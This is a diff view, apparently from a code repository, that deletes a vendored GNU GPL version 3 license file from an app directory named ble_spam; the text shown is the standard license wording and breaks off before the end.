More ported apps
674
applications/external/ble_spam/LICENSE
vendored
@@ -1,674 +0,0 @@
|
|||||||
GNU GENERAL PUBLIC LICENSE
|
|
||||||
Version 3, 29 June 2007
|
|
||||||
|
|
||||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
|
||||||
Everyone is permitted to copy and distribute verbatim copies
|
|
||||||
of this license document, but changing it is not allowed.
|
|
||||||
|
|
||||||
Preamble
|
|
||||||
|
|
||||||
The GNU General Public License is a free, copyleft license for
|
|
||||||
software and other kinds of works.
|
|
||||||
|
|
||||||
The licenses for most software and other practical works are designed
|
|
||||||
to take away your freedom to share and change the works. By contrast,
|
|
||||||
the GNU General Public License is intended to guarantee your freedom to
|
|
||||||
share and change all versions of a program--to make sure it remains free
|
|
||||||
software for all its users. We, the Free Software Foundation, use the
|
|
||||||
GNU General Public License for most of our software; it applies also to
|
|
||||||
any other work released this way by its authors. You can apply it to
|
|
||||||
your programs, too.
|
|
||||||
|
|
||||||
When we speak of free software, we are referring to freedom, not
|
|
||||||
price. Our General Public Licenses are designed to make sure that you
|
|
||||||
have the freedom to distribute copies of free software (and charge for
|
|
||||||
them if you wish), that you receive source code or can get it if you
|
|
||||||
want it, that you can change the software or use pieces of it in new
|
|
||||||
free programs, and that you know you can do these things.
|
|
||||||
|
|
||||||
To protect your rights, we need to prevent others from denying you
|
|
||||||
these rights or asking you to surrender the rights. Therefore, you have
|
|
||||||
certain responsibilities if you distribute copies of the software, or if
|
|
||||||
you modify it: responsibilities to respect the freedom of others.
|
|
||||||
|
|
||||||
For example, if you distribute copies of such a program, whether
|
|
||||||
gratis or for a fee, you must pass on to the recipients the same
|
|
||||||
freedoms that you received. You must make sure that they, too, receive
|
|
||||||
or can get the source code. And you must show them these terms so they
|
|
||||||
know their rights.
|
|
||||||
|
|
||||||
Developers that use the GNU GPL protect your rights with two steps:
|
|
||||||
(1) assert copyright on the software, and (2) offer you this License
|
|
||||||
giving you legal permission to copy, distribute and/or modify it.
|
|
||||||
|
|
||||||
For the developers' and authors' protection, the GPL clearly explains
|
|
||||||
that there is no warranty for this free software. For both users' and
|
|
||||||
authors' sake, the GPL requires that modified versions be marked as
|
|
||||||
changed, so that their problems will not be attributed erroneously to
|
|
||||||
authors of previous versions.
|
|
||||||
|
|
||||||
Some devices are designed to deny users access to install or run
|
|
||||||
modified versions of the software inside them, although the manufacturer
|
|
||||||
can do so. This is fundamentally incompatible with the aim of
|
|
||||||
protecting users' freedom to change the software. The systematic
|
|
||||||
pattern of such abuse occurs in the area of products for individuals to
|
|
||||||
use, which is precisely where it is most unacceptable. Therefore, we
|
|
||||||
have designed this version of the GPL to prohibit the practice for those
|
|
||||||
products. If such problems arise substantially in other domains, we
|
|
||||||
stand ready to extend this provision to those domains in future versions
|
|
||||||
of the GPL, as needed to protect the freedom of users.
|
|
||||||
|
|
||||||
Finally, every program is threatened constantly by software patents.
|
|
||||||
States should not allow patents to restrict development and use of
|
|
||||||
software on general-purpose computers, but in those that do, we wish to
|
|
||||||
avoid the special danger that patents applied to a free program could
|
|
||||||
make it effectively proprietary. To prevent this, the GPL assures that
|
|
||||||
patents cannot be used to render the program non-free.
|
|
||||||
|
|
||||||
The precise terms and conditions for copying, distribution and
|
|
||||||
modification follow.
|
|
||||||
|
|
||||||
TERMS AND CONDITIONS
|
|
||||||
|
|
||||||
0. Definitions.
|
|
||||||
|
|
||||||
"This License" refers to version 3 of the GNU General Public License.
|
|
||||||
|
|
||||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
|
||||||
works, such as semiconductor masks.
|
|
||||||
|
|
||||||
"The Program" refers to any copyrightable work licensed under this
|
|
||||||
License. Each licensee is addressed as "you". "Licensees" and
|
|
||||||
"recipients" may be individuals or organizations.
|
|
||||||
|
|
||||||
To "modify" a work means to copy from or adapt all or part of the work
|
|
||||||
in a fashion requiring copyright permission, other than the making of an
|
|
||||||
exact copy. The resulting work is called a "modified version" of the
|
|
||||||
earlier work or a work "based on" the earlier work.
|
|
||||||
|
|
||||||
A "covered work" means either the unmodified Program or a work based
|
|
||||||
on the Program.
|
|
||||||
|
|
||||||
To "propagate" a work means to do anything with it that, without
|
|
||||||
permission, would make you directly or secondarily liable for
|
|
||||||
infringement under applicable copyright law, except executing it on a
|
|
||||||
computer or modifying a private copy. Propagation includes copying,
|
|
||||||
distribution (with or without modification), making available to the
|
|
||||||
public, and in some countries other activities as well.
|
|
||||||
|
|
||||||
To "convey" a work means any kind of propagation that enables other
|
|
||||||
parties to make or receive copies. Mere interaction with a user through
|
|
||||||
a computer network, with no transfer of a copy, is not conveying.
|
|
||||||
|
|
||||||
An interactive user interface displays "Appropriate Legal Notices"
|
|
||||||
to the extent that it includes a convenient and prominently visible
|
|
||||||
feature that (1) displays an appropriate copyright notice, and (2)
|
|
||||||
tells the user that there is no warranty for the work (except to the
|
|
||||||
extent that warranties are provided), that licensees may convey the
|
|
||||||
work under this License, and how to view a copy of this License. If
|
|
||||||
the interface presents a list of user commands or options, such as a
|
|
||||||
menu, a prominent item in the list meets this criterion.
|
|
||||||
|
|
||||||
1. Source Code.
|
|
||||||
|
|
||||||
The "source code" for a work means the preferred form of the work
|
|
||||||
for making modifications to it. "Object code" means any non-source
|
|
||||||
form of a work.
|
|
||||||
|
|
||||||
A "Standard Interface" means an interface that either is an official
|
|
||||||
standard defined by a recognized standards body, or, in the case of
|
|
||||||
interfaces specified for a particular programming language, one that
|
|
||||||
is widely used among developers working in that language.
|
|
||||||
|
|
||||||
The "System Libraries" of an executable work include anything, other
|
|
||||||
than the work as a whole, that (a) is included in the normal form of
|
|
||||||
packaging a Major Component, but which is not part of that Major
|
|
||||||
Component, and (b) serves only to enable use of the work with that
|
|
||||||
Major Component, or to implement a Standard Interface for which an
|
|
||||||
implementation is available to the public in source code form. A
|
|
||||||
"Major Component", in this context, means a major essential component
|
|
||||||
(kernel, window system, and so on) of the specific operating system
|
|
||||||
(if any) on which the executable work runs, or a compiler used to
|
|
||||||
produce the work, or an object code interpreter used to run it.
|
|
||||||
|
|
||||||
The "Corresponding Source" for a work in object code form means all
|
|
||||||
the source code needed to generate, install, and (for an executable
|
|
||||||
work) run the object code and to modify the work, including scripts to
|
|
||||||
control those activities. However, it does not include the work's
|
|
||||||
System Libraries, or general-purpose tools or generally available free
|
|
||||||
programs which are used unmodified in performing those activities but
|
|
||||||
which are not part of the work. For example, Corresponding Source
|
|
||||||
includes interface definition files associated with source files for
|
|
||||||
the work, and the source code for shared libraries and dynamically
|
|
||||||
linked subprograms that the work is specifically designed to require,
|
|
||||||
such as by intimate data communication or control flow between those
|
|
||||||
subprograms and other parts of the work.
|
|
||||||
|
|
||||||
The Corresponding Source need not include anything that users
|
|
||||||
can regenerate automatically from other parts of the Corresponding
|
|
||||||
Source.
|
|
||||||
|
|
||||||
The Corresponding Source for a work in source code form is that
|
|
||||||
same work.
|
|
||||||
|
|
||||||
2. Basic Permissions.
|
|
||||||
|
|
||||||
All rights granted under this License are granted for the term of
|
|
||||||
copyright on the Program, and are irrevocable provided the stated
|
|
||||||
conditions are met. This License explicitly affirms your unlimited
|
|
||||||
permission to run the unmodified Program. The output from running a
|
|
||||||
covered work is covered by this License only if the output, given its
|
|
||||||
content, constitutes a covered work. This License acknowledges your
|
|
||||||
rights of fair use or other equivalent, as provided by copyright law.
|
|
||||||
|
|
||||||
You may make, run and propagate covered works that you do not
|
|
||||||
convey, without conditions so long as your license otherwise remains
|
|
||||||
in force. You may convey covered works to others for the sole purpose
|
|
||||||
of having them make modifications exclusively for you, or provide you
|
|
||||||
with facilities for running those works, provided that you comply with
|
|
||||||
the terms of this License in conveying all material for which you do
|
|
||||||
not control copyright. Those thus making or running the covered works
|
|
||||||
for you must do so exclusively on your behalf, under your direction
|
|
||||||
and control, on terms that prohibit them from making any copies of
|
|
||||||
your copyrighted material outside their relationship with you.
|
|
||||||
|
|
||||||
Conveying under any other circumstances is permitted solely under
|
|
||||||
the conditions stated below. Sublicensing is not allowed; section 10
|
|
||||||
makes it unnecessary.
|
|
||||||
|
|
||||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
|
||||||
|
|
||||||
No covered work shall be deemed part of an effective technological
|
|
||||||
measure under any applicable law fulfilling obligations under article
|
|
||||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
|
||||||
similar laws prohibiting or restricting circumvention of such
|
|
||||||
measures.
|
|
||||||
|
|
||||||
When you convey a covered work, you waive any legal power to forbid
|
|
||||||
circumvention of technological measures to the extent such circumvention
|
|
||||||
is effected by exercising rights under this License with respect to
|
|
||||||
the covered work, and you disclaim any intention to limit operation or
|
|
||||||
modification of the work as a means of enforcing, against the work's
|
|
||||||
users, your or third parties' legal rights to forbid circumvention of
|
|
||||||
technological measures.
|
|
||||||
|
|
||||||
4. Conveying Verbatim Copies.
|
|
||||||
|
|
||||||
You may convey verbatim copies of the Program's source code as you
|
|
||||||
receive it, in any medium, provided that you conspicuously and
|
|
||||||
appropriately publish on each copy an appropriate copyright notice;
|
|
||||||
keep intact all notices stating that this License and any
|
|
||||||
non-permissive terms added in accord with section 7 apply to the code;
|
|
||||||
keep intact all notices of the absence of any warranty; and give all
|
|
||||||
recipients a copy of this License along with the Program.
|
|
||||||
|
|
||||||
You may charge any price or no price for each copy that you convey,
|
|
||||||
and you may offer support or warranty protection for a fee.
|
|
||||||
|
|
||||||
5. Conveying Modified Source Versions.
|
|
||||||
|
|
||||||
You may convey a work based on the Program, or the modifications to
|
|
||||||
produce it from the Program, in the form of source code under the
|
|
||||||
terms of section 4, provided that you also meet all of these conditions:
|
|
||||||
|
|
||||||
a) The work must carry prominent notices stating that you modified
|
|
||||||
it, and giving a relevant date.
|
|
||||||
|
|
||||||
b) The work must carry prominent notices stating that it is
|
|
||||||
released under this License and any conditions added under section
|
|
||||||
7. This requirement modifies the requirement in section 4 to
|
|
||||||
"keep intact all notices".
|
|
||||||
|
|
||||||
c) You must license the entire work, as a whole, under this
|
|
||||||
License to anyone who comes into possession of a copy. This
|
|
||||||
License will therefore apply, along with any applicable section 7
|
|
||||||
additional terms, to the whole of the work, and all its parts,
|
|
||||||
regardless of how they are packaged. This License gives no
|
|
||||||
permission to license the work in any other way, but it does not
|
|
||||||
invalidate such permission if you have separately received it.
|
|
||||||
|
|
||||||
d) If the work has interactive user interfaces, each must display
|
|
||||||
Appropriate Legal Notices; however, if the Program has interactive
|
|
||||||
interfaces that do not display Appropriate Legal Notices, your
|
|
||||||
work need not make them do so.
|
|
||||||
|
|
||||||
A compilation of a covered work with other separate and independent
|
|
||||||
works, which are not by their nature extensions of the covered work,
|
|
||||||
and which are not combined with it such as to form a larger program,
|
|
||||||
in or on a volume of a storage or distribution medium, is called an
|
|
||||||
"aggregate" if the compilation and its resulting copyright are not
|
|
||||||
used to limit the access or legal rights of the compilation's users
|
|
||||||
beyond what the individual works permit. Inclusion of a covered work
|
|
||||||
in an aggregate does not cause this License to apply to the other
|
|
||||||
parts of the aggregate.
|
|
||||||
|
|
||||||
6. Conveying Non-Source Forms.
|
|
||||||
|
|
||||||
You may convey a covered work in object code form under the terms
|
|
||||||
of sections 4 and 5, provided that you also convey the
|
|
||||||
machine-readable Corresponding Source under the terms of this License,
|
|
||||||
in one of these ways:
|
|
||||||
|
|
||||||
a) Convey the object code in, or embodied in, a physical product
|
|
||||||
(including a physical distribution medium), accompanied by the
|
|
||||||
Corresponding Source fixed on a durable physical medium
|
|
||||||
customarily used for software interchange.
|
|
||||||
|
|
||||||
b) Convey the object code in, or embodied in, a physical product
|
|
||||||
(including a physical distribution medium), accompanied by a
|
|
||||||
written offer, valid for at least three years and valid for as
|
|
||||||
long as you offer spare parts or customer support for that product
|
|
||||||
model, to give anyone who possesses the object code either (1) a
|
|
||||||
copy of the Corresponding Source for all the software in the
|
|
||||||
product that is covered by this License, on a durable physical
|
|
||||||
medium customarily used for software interchange, for a price no
|
|
||||||
more than your reasonable cost of physically performing this
|
|
||||||
conveying of source, or (2) access to copy the
|
|
||||||
Corresponding Source from a network server at no charge.
|
|
||||||
|
|
||||||
c) Convey individual copies of the object code with a copy of the
|
|
||||||
written offer to provide the Corresponding Source. This
|
|
||||||
alternative is allowed only occasionally and noncommercially, and
|
|
||||||
only if you received the object code with such an offer, in accord
|
|
||||||
with subsection 6b.
|
|
||||||
|
|
||||||
d) Convey the object code by offering access from a designated
|
|
||||||
place (gratis or for a charge), and offer equivalent access to the
|
|
||||||
Corresponding Source in the same way through the same place at no
|
|
||||||
further charge. You need not require recipients to copy the
|
|
||||||
Corresponding Source along with the object code. If the place to
|
|
||||||
copy the object code is a network server, the Corresponding Source
|
|
||||||
may be on a different server (operated by you or a third party)
|
|
||||||
that supports equivalent copying facilities, provided you maintain
|
|
||||||
clear directions next to the object code saying where to find the
|
|
||||||
Corresponding Source. Regardless of what server hosts the
|
|
||||||
Corresponding Source, you remain obligated to ensure that it is
|
|
||||||
available for as long as needed to satisfy these requirements.
|
|
||||||
|
|
||||||
e) Convey the object code using peer-to-peer transmission, provided
|
|
||||||
you inform other peers where the object code and Corresponding
|
|
||||||
Source of the work are being offered to the general public at no
|
|
||||||
charge under subsection 6d.
|
|
||||||
|
|
||||||
A separable portion of the object code, whose source code is excluded
|
|
||||||
from the Corresponding Source as a System Library, need not be
|
|
||||||
included in conveying the object code work.
|
|
||||||
|
|
||||||
A "User Product" is either (1) a "consumer product", which means any
|
|
||||||
tangible personal property which is normally used for personal, family,
|
|
||||||
or household purposes, or (2) anything designed or sold for incorporation
|
|
||||||
into a dwelling. In determining whether a product is a consumer product,
|
|
||||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
|
||||||
product received by a particular user, "normally used" refers to a
|
|
||||||
typical or common use of that class of product, regardless of the status
|
|
||||||
of the particular user or of the way in which the particular user
|
|
||||||
actually uses, or expects or is expected to use, the product. A product
|
|
||||||
is a consumer product regardless of whether the product has substantial
|
|
||||||
commercial, industrial or non-consumer uses, unless such uses represent
|
|
||||||
the only significant mode of use of the product.
|
|
||||||
|
|
||||||
"Installation Information" for a User Product means any methods,
|
|
||||||
procedures, authorization keys, or other information required to install
|
|
||||||
and execute modified versions of a covered work in that User Product from
|
|
||||||
a modified version of its Corresponding Source. The information must
|
|
||||||
suffice to ensure that the continued functioning of the modified object
|
|
||||||
code is in no case prevented or interfered with solely because
|
|
||||||
modification has been made.
|
|
||||||
|
|
||||||
If you convey an object code work under this section in, or with, or
|
|
||||||
specifically for use in, a User Product, and the conveying occurs as
|
|
||||||
part of a transaction in which the right of possession and use of the
|
|
||||||
User Product is transferred to the recipient in perpetuity or for a
|
|
||||||
fixed term (regardless of how the transaction is characterized), the
|
|
||||||
Corresponding Source conveyed under this section must be accompanied
|
|
||||||
by the Installation Information. But this requirement does not apply
|
|
||||||
if neither you nor any third party retains the ability to install
|
|
||||||
modified object code on the User Product (for example, the work has
|
|
||||||
been installed in ROM).
|
|
||||||
|
|
||||||
The requirement to provide Installation Information does not include a
|
|
||||||
requirement to continue to provide support service, warranty, or updates
|
|
||||||
for a work that has been modified or installed by the recipient, or for
|
|
||||||
the User Product in which it has been modified or installed. Access to a
|
|
||||||
network may be denied when the modification itself materially and
|
|
||||||
adversely affects the operation of the network or violates the rules and
|
|
||||||
protocols for communication across the network.
|
|
||||||
|
|
||||||
Corresponding Source conveyed, and Installation Information provided,
|
|
||||||
in accord with this section must be in a format that is publicly
|
|
||||||
documented (and with an implementation available to the public in
|
|
||||||
source code form), and must require no special password or key for
|
|
||||||
unpacking, reading or copying.
|
|
||||||
|
|
||||||
7. Additional Terms.
|
|
||||||
|
|
||||||
"Additional permissions" are terms that supplement the terms of this
|
|
||||||
License by making exceptions from one or more of its conditions.
|
|
||||||
Additional permissions that are applicable to the entire Program shall
|
|
||||||
be treated as though they were included in this License, to the extent
|
|
||||||
that they are valid under applicable law. If additional permissions
|
|
||||||
apply only to part of the Program, that part may be used separately
|
|
||||||
under those permissions, but the entire Program remains governed by
|
|
||||||
this License without regard to the additional permissions.
|
|
||||||
|
|
||||||
When you convey a copy of a covered work, you may at your option
|
|
||||||
remove any additional permissions from that copy, or from any part of
|
|
||||||
it. (Additional permissions may be written to require their own
|
|
||||||
removal in certain cases when you modify the work.) You may place
|
|
||||||
additional permissions on material, added by you to a covered work,
|
|
||||||
for which you have or can give appropriate copyright permission.
|
|
||||||
|
|
||||||
Notwithstanding any other provision of this License, for material you
|
|
||||||
add to a covered work, you may (if authorized by the copyright holders of
|
|
||||||
that material) supplement the terms of this License with terms:
|
|
||||||
|
|
||||||
a) Disclaiming warranty or limiting liability differently from the
|
|
||||||
terms of sections 15 and 16 of this License; or
|
|
||||||
|
|
||||||
b) Requiring preservation of specified reasonable legal notices or
|
|
||||||
author attributions in that material or in the Appropriate Legal
|
|
||||||
Notices displayed by works containing it; or
|
|
||||||
|
|
||||||
c) Prohibiting misrepresentation of the origin of that material, or
|
|
||||||
requiring that modified versions of such material be marked in
|
|
||||||
reasonable ways as different from the original version; or
|
|
||||||
|
|
||||||
d) Limiting the use for publicity purposes of names of licensors or
|
|
||||||
authors of the material; or
|
|
||||||
|
|
||||||
e) Declining to grant rights under trademark law for use of some
|
|
||||||
trade names, trademarks, or service marks; or
|
|
||||||
|
|
||||||
f) Requiring indemnification of licensors and authors of that
|
|
||||||
material by anyone who conveys the material (or modified versions of
|
|
||||||
it) with contractual assumptions of liability to the recipient, for
|
|
||||||
any liability that these contractual assumptions directly impose on
|
|
||||||
those licensors and authors.
|
|
||||||
|
|
||||||
All other non-permissive additional terms are considered "further
|
|
||||||
restrictions" within the meaning of section 10. If the Program as you
|
|
||||||
received it, or any part of it, contains a notice stating that it is
|
|
||||||
governed by this License along with a term that is a further
|
|
||||||
restriction, you may remove that term. If a license document contains
|
|
||||||
a further restriction but permits relicensing or conveying under this
|
|
||||||
License, you may add to a covered work material governed by the terms
|
|
||||||
of that license document, provided that the further restriction does
|
|
||||||
not survive such relicensing or conveying.
|
|
||||||
|
|
||||||
If you add terms to a covered work in accord with this section, you
|
|
||||||
must place, in the relevant source files, a statement of the
|
|
||||||
additional terms that apply to those files, or a notice indicating
|
|
||||||
where to find the applicable terms.
|
|
||||||
|
|
||||||
Additional terms, permissive or non-permissive, may be stated in the
|
|
||||||
form of a separately written license, or stated as exceptions;
|
|
||||||
the above requirements apply either way.
|
|
||||||
|
|
||||||
8. Termination.
|
|
||||||
|
|
||||||
You may not propagate or modify a covered work except as expressly
|
|
||||||
provided under this License. Any attempt otherwise to propagate or
|
|
||||||
modify it is void, and will automatically terminate your rights under
|
|
||||||
this License (including any patent licenses granted under the third
|
|
||||||
paragraph of section 11).
|
|
||||||
|
|
||||||
However, if you cease all violation of this License, then your
|
|
||||||
license from a particular copyright holder is reinstated (a)
|
|
||||||
provisionally, unless and until the copyright holder explicitly and
|
|
||||||
finally terminates your license, and (b) permanently, if the copyright
|
|
||||||
holder fails to notify you of the violation by some reasonable means
|
|
||||||
prior to 60 days after the cessation.
|
|
||||||
|
|
||||||
Moreover, your license from a particular copyright holder is
|
|
||||||
reinstated permanently if the copyright holder notifies you of the
|
|
||||||
violation by some reasonable means, this is the first time you have
|
|
||||||
received notice of violation of this License (for any work) from that
|
|
||||||
copyright holder, and you cure the violation prior to 30 days after
|
|
||||||
your receipt of the notice.
|
|
||||||
|
|
||||||
Termination of your rights under this section does not terminate the
|
|
||||||
licenses of parties who have received copies or rights from you under
|
|
||||||
this License. If your rights have been terminated and not permanently
|
|
||||||
reinstated, you do not qualify to receive new licenses for the same
|
|
||||||
material under section 10.
|
|
||||||
|
|
||||||
9. Acceptance Not Required for Having Copies.
|
|
||||||
|
|
||||||
You are not required to accept this License in order to receive or
|
|
||||||
run a copy of the Program. Ancillary propagation of a covered work
|
|
||||||
occurring solely as a consequence of using peer-to-peer transmission
|
|
||||||
to receive a copy likewise does not require acceptance. However,
|
|
||||||
nothing other than this License grants you permission to propagate or
|
|
||||||
modify any covered work. These actions infringe copyright if you do
|
|
||||||
not accept this License. Therefore, by modifying or propagating a
|
|
||||||
covered work, you indicate your acceptance of this License to do so.
|
|
||||||
|
|
||||||
10. Automatic Licensing of Downstream Recipients.
|
|
||||||
|
|
||||||
Each time you convey a covered work, the recipient automatically
|
|
||||||
receives a license from the original licensors, to run, modify and
|
|
||||||
propagate that work, subject to this License. You are not responsible
|
|
||||||
for enforcing compliance by third parties with this License.
|
|
||||||
|
|
||||||
An "entity transaction" is a transaction transferring control of an
|
|
||||||
organization, or substantially all assets of one, or subdividing an
|
|
||||||
organization, or merging organizations. If propagation of a covered
|
|
||||||
work results from an entity transaction, each party to that
|
|
||||||
transaction who receives a copy of the work also receives whatever
|
|
||||||
licenses to the work the party's predecessor in interest had or could
|
|
||||||
give under the previous paragraph, plus a right to possession of the
|
|
||||||
Corresponding Source of the work from the predecessor in interest, if
|
|
||||||
the predecessor has it or can get it with reasonable efforts.
|
|
||||||
|
|
||||||
You may not impose any further restrictions on the exercise of the
|
|
||||||
rights granted or affirmed under this License. For example, you may
|
|
||||||
not impose a license fee, royalty, or other charge for exercise of
|
|
||||||
rights granted under this License, and you may not initiate litigation
|
|
||||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
|
||||||
any patent claim is infringed by making, using, selling, offering for
|
|
||||||
sale, or importing the Program or any portion of it.
|
|
||||||
|
|
||||||
11. Patents.
|
|
||||||
|
|
||||||
A "contributor" is a copyright holder who authorizes use under this
|
|
||||||
License of the Program or a work on which the Program is based. The
|
|
||||||
work thus licensed is called the contributor's "contributor version".
|
|
||||||
|
|
||||||
A contributor's "essential patent claims" are all patent claims
|
|
||||||
owned or controlled by the contributor, whether already acquired or
|
|
||||||
hereafter acquired, that would be infringed by some manner, permitted
|
|
||||||
by this License, of making, using, or selling its contributor version,
|
|
||||||
but do not include claims that would be infringed only as a
|
|
||||||
consequence of further modification of the contributor version. For
|
|
||||||
purposes of this definition, "control" includes the right to grant
|
|
||||||
patent sublicenses in a manner consistent with the requirements of
|
|
||||||
this License.
|
|
||||||
|
|
||||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
|
||||||
patent license under the contributor's essential patent claims, to
|
|
||||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
|
||||||
propagate the contents of its contributor version.
|
|
||||||
|
|
||||||
In the following three paragraphs, a "patent license" is any express
|
|
||||||
agreement or commitment, however denominated, not to enforce a patent
|
|
||||||
(such as an express permission to practice a patent or covenant not to
|
|
||||||
sue for patent infringement). To "grant" such a patent license to a
|
|
||||||
party means to make such an agreement or commitment not to enforce a
|
|
||||||
patent against the party.
|
|
||||||
|
|
||||||
If you convey a covered work, knowingly relying on a patent license,
|
|
||||||
and the Corresponding Source of the work is not available for anyone
|
|
||||||
to copy, free of charge and under the terms of this License, through a
|
|
||||||
publicly available network server or other readily accessible means,
|
|
||||||
then you must either (1) cause the Corresponding Source to be so
|
|
||||||
available, or (2) arrange to deprive yourself of the benefit of the
|
|
||||||
patent license for this particular work, or (3) arrange, in a manner
|
|
||||||
consistent with the requirements of this License, to extend the patent
|
|
||||||
license to downstream recipients. "Knowingly relying" means you have
|
|
||||||
actual knowledge that, but for the patent license, your conveying the
|
|
||||||
covered work in a country, or your recipient's use of the covered work
|
|
||||||
in a country, would infringe one or more identifiable patents in that
|
|
||||||
country that you have reason to believe are valid.
|
|
||||||
|
|
||||||
If, pursuant to or in connection with a single transaction or
|
|
||||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
|
||||||
covered work, and grant a patent license to some of the parties
|
|
||||||
receiving the covered work authorizing them to use, propagate, modify
|
|
||||||
or convey a specific copy of the covered work, then the patent license
|
|
||||||
you grant is automatically extended to all recipients of the covered
|
|
||||||
work and works based on it.
|
|
||||||
|
|
||||||
A patent license is "discriminatory" if it does not include within
|
|
||||||
the scope of its coverage, prohibits the exercise of, or is
|
|
||||||
conditioned on the non-exercise of one or more of the rights that are
|
|
||||||
specifically granted under this License. You may not convey a covered
|
|
||||||
work if you are a party to an arrangement with a third party that is
|
|
||||||
in the business of distributing software, under which you make payment
|
|
||||||
to the third party based on the extent of your activity of conveying
|
|
||||||
the work, and under which the third party grants, to any of the
|
|
||||||
parties who would receive the covered work from you, a discriminatory
|
|
||||||
patent license (a) in connection with copies of the covered work
|
|
||||||
conveyed by you (or copies made from those copies), or (b) primarily
|
|
||||||
for and in connection with specific products or compilations that
|
|
||||||
contain the covered work, unless you entered into that arrangement,
|
|
||||||
or that patent license was granted, prior to 28 March 2007.
|
|
||||||
|
|
||||||
Nothing in this License shall be construed as excluding or limiting
|
|
||||||
any implied license or other defenses to infringement that may
|
|
||||||
otherwise be available to you under applicable patent law.
|
|
||||||
|
|
||||||
12. No Surrender of Others' Freedom.
|
|
||||||
|
|
||||||
If conditions are imposed on you (whether by court order, agreement or
|
|
||||||
otherwise) that contradict the conditions of this License, they do not
|
|
||||||
excuse you from the conditions of this License. If you cannot convey a
|
|
||||||
covered work so as to satisfy simultaneously your obligations under this
|
|
||||||
License and any other pertinent obligations, then as a consequence you may
|
|
||||||
not convey it at all. For example, if you agree to terms that obligate you
|
|
||||||
to collect a royalty for further conveying from those to whom you convey
|
|
||||||
the Program, the only way you could satisfy both those terms and this
|
|
||||||
License would be to refrain entirely from conveying the Program.
|
|
||||||
|
|
||||||
13. Use with the GNU Affero General Public License.
|
|
||||||
|
|
||||||
Notwithstanding any other provision of this License, you have
|
|
||||||
permission to link or combine any covered work with a work licensed
|
|
||||||
under version 3 of the GNU Affero General Public License into a single
|
|
||||||
combined work, and to convey the resulting work. The terms of this
|
|
||||||
License will continue to apply to the part which is the covered work,
|
|
||||||
but the special requirements of the GNU Affero General Public License,
|
|
||||||
section 13, concerning interaction through a network will apply to the
|
|
||||||
combination as such.
|
|
||||||
|
|
||||||
14. Revised Versions of this License.
|
|
||||||
|
|
||||||
The Free Software Foundation may publish revised and/or new versions of
|
|
||||||
the GNU General Public License from time to time. Such new versions will
|
|
||||||
be similar in spirit to the present version, but may differ in detail to
|
|
||||||
address new problems or concerns.
|
|
||||||
|
|
||||||
Each version is given a distinguishing version number. If the
|
|
||||||
Program specifies that a certain numbered version of the GNU General
|
|
||||||
Public License "or any later version" applies to it, you have the
|
|
||||||
option of following the terms and conditions either of that numbered
|
|
||||||
version or of any later version published by the Free Software
|
|
||||||
Foundation. If the Program does not specify a version number of the
|
|
||||||
GNU General Public License, you may choose any version ever published
|
|
||||||
by the Free Software Foundation.
|
|
||||||
|
|
||||||
If the Program specifies that a proxy can decide which future
|
|
||||||
versions of the GNU General Public License can be used, that proxy's
|
|
||||||
public statement of acceptance of a version permanently authorizes you
|
|
||||||
to choose that version for the Program.
|
|
||||||
|
|
||||||
Later license versions may give you additional or different
|
|
||||||
permissions. However, no additional obligations are imposed on any
|
|
||||||
author or copyright holder as a result of your choosing to follow a
|
|
||||||
later version.
|
|
||||||
|
|
||||||
15. Disclaimer of Warranty.
|
|
||||||
|
|
||||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
|
||||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
|
||||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
|
||||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
|
||||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
|
||||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
|
||||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
|
||||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
|
||||||
|
|
||||||
16. Limitation of Liability.
|
|
||||||
|
|
||||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
|
||||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
|
||||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
|
||||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
|
||||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
|
||||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
|
||||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
|
||||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
|
||||||
SUCH DAMAGES.
|
|
||||||
|
|
||||||
17. Interpretation of Sections 15 and 16.
|
|
||||||
|
|
||||||
If the disclaimer of warranty and limitation of liability provided
|
|
||||||
above cannot be given local legal effect according to their terms,
|
|
||||||
reviewing courts shall apply local law that most closely approximates
|
|
||||||
an absolute waiver of all civil liability in connection with the
|
|
||||||
Program, unless a warranty or assumption of liability accompanies a
|
|
||||||
copy of the Program in return for a fee.
|
|
||||||
|
|
||||||
END OF TERMS AND CONDITIONS
|
|
||||||
|
|
||||||
How to Apply These Terms to Your New Programs
|
|
||||||
|
|
||||||
If you develop a new program, and you want it to be of the greatest
|
|
||||||
possible use to the public, the best way to achieve this is to make it
|
|
||||||
free software which everyone can redistribute and change under these terms.
|
|
||||||
|
|
||||||
To do so, attach the following notices to the program. It is safest
|
|
||||||
to attach them to the start of each source file to most effectively
|
|
||||||
state the exclusion of warranty; and each file should have at least
|
|
